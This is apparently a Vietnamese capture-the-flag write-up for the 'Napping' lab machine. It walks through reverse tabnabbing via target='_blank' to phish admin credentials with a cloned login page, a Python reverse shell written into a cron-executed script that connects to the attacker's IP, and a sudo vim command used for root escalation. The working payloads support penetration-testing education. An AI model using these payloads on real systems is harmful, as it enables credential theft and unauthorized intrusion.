Ducker

Trở về

NappingBlur image

Thu thập thông tin#

Nmap scan#

Thực hiện scan port, mình phát hiện 2 port đang mở là sshhttp.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey: 
|   3072 b4:7c:88:fd:ec:42:b4:a3:7f:16:19:bc:b1:5d:01:ca (RSA)
|   256 50:75:65:92:55:06:06:5e:00:8d:19:5b:e9:f0:15:72 (ECDSA)
|_  256 10:cc:c8:0f:99:0c:b2:29:03:e2:6d:a1:2c:69:89:b8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) 
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
shell

Gobuster scan#

Dùng công cụ gobuster mình còn tìm ra được /admin nhưng không có quyền truy cập.

/admin                (Status: 301) [Size: 314] [--> http://10.201.102.54/admin/]
shell

Nhưng bên trong /admin mình phát hiện một trang login dành cho admin.

/login.php            (Status: 200) [Size: 1158]
shell

Lỗ hổng target trên thẻ a#

img

Truy cập vào website, mình được chuyển tới trang login của người dùng.

img

Mình đăng ký tài khoản và vào được một trang nếu mình nhập urlsubmit, nó sẽ xuất hiện một thẻ a chuyển hướng đến url đó.

img

Trang này còn nói rằng Tất cả các link đều được review bởi admin, người dựng lên website này!

Có một thông tin nho nhỏ mà thử thách này đưa ra.

To hack into this machine, you must look at the source and focus on the target.

Nhìn kỹ vào mã nguồn thì target='_blank' chính là vấn đề.

img

Đây là thứ đã gây ra nhiều vụ lừa (phishing) bằng cách ấn vào link và chuyển hướng đến trang giả mạo.

Cụ thể kỹ thuật này sử dụng window.opener.location = '<link web giả mạo>';, khi trang đích chứa js này nó sẽ chuyển hướng trang gốc (cụ thể ở đây là trang chứa target='_blank') sang link web giả mạo.

Flag 1#

Truy cập người dùng daniel#

Từ các thông tin thu thập được, mình copy source trang login của admin lúc nãy tìm được nhằm mục đích host một trang login giả mạo và lừa admin đăng nhập vào đây để lấy thông tin đăng nhập.

Mình host thêm một trang để lừa admin bấm vào đây để chuyển hướng đến trang login.html.

<!DOCTYPE html>
<html>
<head>
    <title>Just...</title>
</head>

<body>
    Just nothing...
</body>
<script>window.opener.location = 'http://10.17.67.204:8000/login.html';</script>

</html>
html

Khi mình submit url http://10.17.67.204/macilious.html

Nếu admin truy cập vào url này, họ sẽ được chuyển tới trang chứa mã javascript của mình.

img

Và trang gốc của họ sẽ chuyển thành trang đăng nhập admin.

img

Đồng thời mình cũng bắt các gói tin trên mạng này, khi admin chỉ nghĩ vì một lý do nào đó mà họ bị đăng xuất nên họ thực hiện đăng nhập lại thì mình đã bắt được gói tin chứa thông tin đăng nhập.

img

Dùng thông tin đăng nhập này SSH vào người dùng daniel và mình tìm thấy flag tại thư mục home của người dùng adrian nhưng không có quyền truy cập.

img

Mình có quyền sửa file query.py vì thuộc group administrators và file này có chức năng kiểm tra trạng thái website và ghi vào file site_status.txt.

Dựa vào nội dung file site_status.txt thì đây là một crontab được thực hiện mỗi 1 phút

img

Truy cập người dùng adrian và flag#

Từ đó mình có thể dựa vào file này để mở một reverse shell.

Mình thay đổi nội dung file như sau:

import socket,os,pty

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.17.67.204",7304))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
python

Sau đó mình mở netcat listener tại port 7304, đợi 1 phút để máy thực thi file kết nối và mình đã đọc được flag.

img

Flag 2#

Mình stabilizing shell để linh hoạt hơn.

img

Sudo Misconfiguration (Vim)#

Kiểm tra với lệnh sudo -l mình thấy người dùng này có thể sử dụng vim với quyền sudo không cần mật khẩu.

img

Để khai thác, tại gtfobins có hướng dẫn có thể dùng vim để thực thi code python.

Truy cập người dùng root và flag#

Với lệnh vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' mình đã có thể leo thang đặc quyền lên root và tìm được flag tại thư mục /root.

img